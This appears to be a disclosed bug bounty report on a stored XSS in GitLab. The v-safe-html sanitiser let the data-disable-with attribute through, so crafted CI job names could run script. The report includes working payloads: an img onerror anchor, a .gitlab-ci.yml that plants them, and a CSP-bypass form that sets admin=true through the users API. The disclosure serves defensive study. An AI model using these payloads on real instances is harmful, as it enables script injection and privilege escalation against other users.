XSS: `v-safe-html` is not safe enough
The v-safe-html directive's sanitiser did not strip the data-disable-with attribute, which Rails-ujs uses to insert HTML when a link is clicked. An attacker could inject a crafted CI job name so that clicking a job error message executes script or, under CSP, submits a form to escalate to admin.
- Triaged in 6 days
- Fixed in 2 months
- Paid in 37 days
- Disclosed after 6 months
v-safe-html directive uses Dompurify to remove data-remote', 'data-url', 'data-type', 'data-method' attributes from HTML tags. Rails-js relies on another attribute, data-disable-with to show a HTML content when an user clicks on a disabled link.
For example, the following text will bypass the sanitization and popup an alert when an user clicks on the link (which is a transparent topmost layer since the sanitization allows also style and class attributes):
<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">'
An exploitation can be done via jobs' error messages which contain CI job names which are provided by users.
Steps to reproduce
- In an existing project or create a new one, add
.gitlab.cifile with the following content:
'1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">':
stage: build
script: echo "hi"
'2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>':
stage: build
script: echo "hi"
trigger-xss:
stage: test
script: echo "hi"
dependencies:
- '1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">'
- '2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>'
-
Go to
CI/CD/Jobstab and wait for the CI jobs finished -
If you are testing on a local instance without CSP protection, click on detail of the job
1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">, then click on the trash button on the right literal bar toErase job logs and artifacts. -
Go back to the job list, click on
trigger-xsslink to view the detail of this job. Then click onRetrybutton on the right literal bar to retry the job. -
An error message appears:
This job could not start because it could not retrieve the needed artifacts: 1. XSS when no CSP. Click anywher to trigger the alert
Note: on gitlab.com or an instance having CSP protection (with strict-dynamic value of script-src), the inline script, such as onerror or the <iframe srcdoc='<script src=https://gitlab.com/yvvdwf/data/-/jobs/552156057/artifacts/raw/alert.js></script>'></iframe>, will be prevented to trigger. In such a case, we may use <form> tag to trigger arbitrary API requests on behalf of the user, for example, this allows escalate to admin permission when administrator click anywhere 2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>
Impact
XSS allow attackers to perform arbitrary actions on behalf of victims at client side.
Examples
https://gitlab.com/yvvdwf/xss-in-job-dependencies/-/jobs/2498306483
https://gitlab.com/yvvdwf/xss-in-job-dependencies/-/jobs/2498287882
Output of checks
This bug happens on GitLab.com
Impact
XSS allow attackers to perform arbitrary actions on behalf of victims at client side.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
XSS allows attackers to perform arbitrary actions on behalf of victims; with CSP, a form injection could let an attacker escalate to admin if an administrator clicks anywhere.
What the attacker needed
Ability to create or edit CI jobs; victim views job list and clicks; CSP may block inline script
How it was found
- Create or use a project and add a CI configuration with job names containing the payloads.
- Go to the CI/CD Jobs tab and wait for the jobs to finish.
- On a local instance without CSP, open the first job, erase its logs and artifacts, then go back to the job list.
- Click the trigger-xss job link, then click Retry.
- When the error message appears, click anywhere to trigger the alert.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A sanitiser is a tool that removes dangerous parts from HTML before showing it. Here it forgot one attribute that a JavaScript library later turns back into HTML, so a malicious job name could run code when someone clicks. The report also shows a way to make an admin perform actions without script when a security policy blocks inline code.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.